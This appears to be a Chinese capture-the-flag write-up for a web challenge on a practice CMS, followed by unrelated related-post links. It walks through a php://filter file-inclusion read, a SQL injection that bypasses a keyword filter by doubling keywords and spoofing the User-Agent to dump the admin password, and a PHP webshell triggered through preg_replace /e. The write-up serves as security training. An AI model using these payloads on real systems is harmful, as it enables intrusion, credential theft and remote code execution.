地址

http://cms.nuptzj.cn/

0x01 

很有意思的一题综合题,确实包含的内容比较多

打开页面

把能打开的都打开,能看的都看一下

几个重点的信息

一段hash  e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bfd94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834 
一段base64 MzAzMTY3YWQxZDlmZmUyNGIxOWNjZWI1OWY4NzA3ZmU= 留言搜索跳转到 so.php
点击尾页跳转 index.php?page=1
留言板 preview.php
提交留言 say.php?nice=213&usersay=123&Submit=确认提交
并告诉我们XSS不一定成功,以及查看源码有惊喜 末尾有cms说明
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档 以及admin的表结构
create table admin (
id integer,
username text,
userpass text,
)

0x02

CMS说明的时候,URL为 about.php?file=sm.txt,file字眼一般有文件包含的漏洞(常见的套路),尝试一下用伪协议来读取其他信息读取about.php

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

发现代码有一个loginxlcteam,尝试输入是一个后台登入

http://cms.nuptzj.cn/loginxlcteam/

读取so.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head> <body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

获取信息,得到了sql查询语句,同时还包含三个文件config.php、antiinject.php、antixss.php

读取antixss.php文件

<?php
function antixss($content){
preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
$key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
$re=$url[2];
if(count($url)==0){
return htmlspecialchars($content);
}else{
for($i=0;$i<=count($key);$i++){
$re=str_replace($key[$i], '_',$re);
}
return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
}
}
?>

基本把XSS过滤光了

读取antiinject.php    config.php无法读取

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

sql注入也基本过滤光了,但是这是把关键字替换为空,可以用双写来进行绕过,空格可以用/* */来绕过,注意一下so.php中代码中需要把浏览器变成 'Xlcteam Browser'才能执行

0x03

通过sql注入,获取密码登入后台

构造payload获取显示列,抓包改浏览器代理Xlcteam Browser才能执行

soid=1/**/ununionion/**/seleselectct/**/1,2,3,4

显示位是2和3

构造payload直接获得密码

soid=-1 union select 1,2,group_concat(userpass),4 from admin

变形后的payload

soid=-1/**/uunionnion/**/sselectelect/**/1,2,group_concat(userppassass),4/**/frfromom/**/aadmindmin

得到一段ascll码

解码后是fuckruntu

0x04

账号admin 密码fuckruntu,登入成功

原网站有一句话木马,先看看一句话木马的源码

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这里利用一个preg_replace()函数的漏洞配合着上面的array_walk函数

preg_replace( pattern , replacement , subject ) :

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行

于是构造payload

http://cms.nuptzj.cn/xlcteam.php?www=preg_replace

然后小马的密码是wtf

这里用cknife连接

获得flag

web-综合题2的更多相关文章

  1. 前端面试题集锦及答案解析--HTML、 HTTP、web综合问题

    前端需要注意哪些SEO 合理的title.description.keywords:搜索对着三项的权重逐个减小,title值强调重点即可,重要关键词出现不要超过2次,而且要靠前,不同页面title要有 ...

  2. web综合案例04

    web综合案例02 web综合案例02 web综合案例04 待补充 ... ...

  3. web综合案例03

    web综合案例03 web综合案例03 web综合案例03 web综合案例03 ... 待复习

  4. web综合案例02

    web综合案例02 web综合案例02 web综合案例02 ... ... 内容待添加

  5. web综合案例01

    web综合案例01 ... .... 内容待添加

  6. 3. 关于sql注入的综合题

    关于sql注入的综合题                          ----------南京邮电大学ctf : http://cms.nuptzj.cn/ 页面上也给了好多信息: 根据这个sm. ...

  7. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  8. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  9. 攻防世界web进阶题—unfinish

    攻防世界web进阶题-unfinish 1.看一下题目提示SQL 2.打开题目看一下源码,没有问题 3.查一下网站的组成:php+Apache/2.4.7+Ubuntu 4.扫一下目录,扫到一个注册页 ...

  10. 攻防世界web进阶题—bug

    攻防世界web进阶题-bug 1.打开题目看一下源码,没有问题 2.扫一下目录,没有问题 3.查一下网站的组成:php+Apache+Ubuntu 只有登录界面 这里可以可以想到:爆破.万能密码.进行 ...

随机推荐

  1. xpath:

    from selenium import webdriverb = webdriver.Firefox()#路径读取方式一:# b.get(r"C:\我的代码\selenium自动化测试\t ...

  2. networkx生成网络

    ER随机网络,WS小世界网络,BA无标度网络的生成 import networkx as nx import matplotlib.pyplot as plt #ER随机网络 #10个节点,连接概率为 ...

  3. SVO 特征对齐代码分析

    SVO稀疏图像对齐之后使用特征对齐,即通过地图向当前帧投影,并使用逆向组合光流以稀疏图像对齐的结果为初始值,得到更精确的特征位置. 主要涉及文件: reprojector.cpp matcher.cp ...

  4. Python连载44-XML其他注意点

    一.XML文件注意点 1.内容中不能出现尖括号 例如:下面是不合法的 <grade>成绩<90</grade> 解决方案:使用实体引用<EntityReferenc ...

  5. iOS:从头捋一遍VC的生命周期

    一.介绍 UIViewController是iOS开发中的核心控件,没有它那基本上任何功能都无法实现,虽然系统已经做了所有控件的生命维护,但是,了解它的生命周期是如何管理还是非常有必要的.网上有很多教 ...

  6. python 学习(day1)

    初识python python的创始人为吉多*范罗苏姆(Guido van Rossum).1989年圣诞节期间,开发出来的脚本解释程序. python是⼀⻔什么样的语言 python 是一门解释型语 ...

  7. H5纯前端生成Excel表格

    H5纯前端生成Excel表格方法如下: <!DOCTYPE html> <html> <head> <title></title> < ...

  8. 解决最新Java12 安装

    题外话: 因为我笔记本上的java用的版本是比较老的,从java8开始已经不再需要classpath java-home  path  这几个安装界的行业规范,基本上只需要安装 然后在path路径下 ...

  9. My97Datepicker 日历控件的使用

    如果显示中乱码可以再改变lang  js包 中的  以防乱码 var $lang = {errAlertMsg: "\u4E0D\u5408\u6CD5\u7684\u65E5\u671F\ ...

  10. 黄聪:table自适应宽度和高度

    自适应宽度: td { width: 1px; white-space: nowrap; /* 自适应宽度*/ word-break: keep-all; /* 避免长单词截断,保持全部 */ } 自 ...